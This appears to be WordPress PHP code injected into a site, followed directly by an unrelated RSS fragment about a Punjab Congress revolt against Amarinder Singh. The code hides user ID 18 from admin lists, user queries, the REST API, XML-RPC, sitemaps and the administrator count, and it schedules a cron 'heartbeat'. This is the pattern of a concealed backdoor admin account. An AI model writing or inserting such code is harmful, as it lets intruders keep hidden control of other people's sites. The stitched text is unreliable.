add_action( 'pre_get_posts', function( $q ) {
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add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
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    $exclude   = (array) $q->get( 'exclude' );
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>In the midst of the ongoing crisis in the Punjab Congress, at least 32 MLAs, including four cabinet ministers, revolted against the chief minister and met in Chandigarh today to decide that a five-member delegation would try to meet with the Congress high command today to demand the resignation of Capt Amarinder Singh. They have [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/amarinder-singhs-dismissal-as-punjab-chief-minister-is-being-demanded-by-four-cabinet-members-out-of-32-mlas">Amarinder Singh&#8217;s Dismissal as Punjab Chief Minister is Being Demanded by Four Cabinet Members Out of 32 MLAs</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>All of these cabinet ministers and MLAs from Punjab Congress resident Navjot Singh Sidhu&#8217;s camp are skeptical that the party will be able to deliver on all of the promises made before the 2017 state assembly elections under Capt Amarinder&#8217;s leadership.</p>
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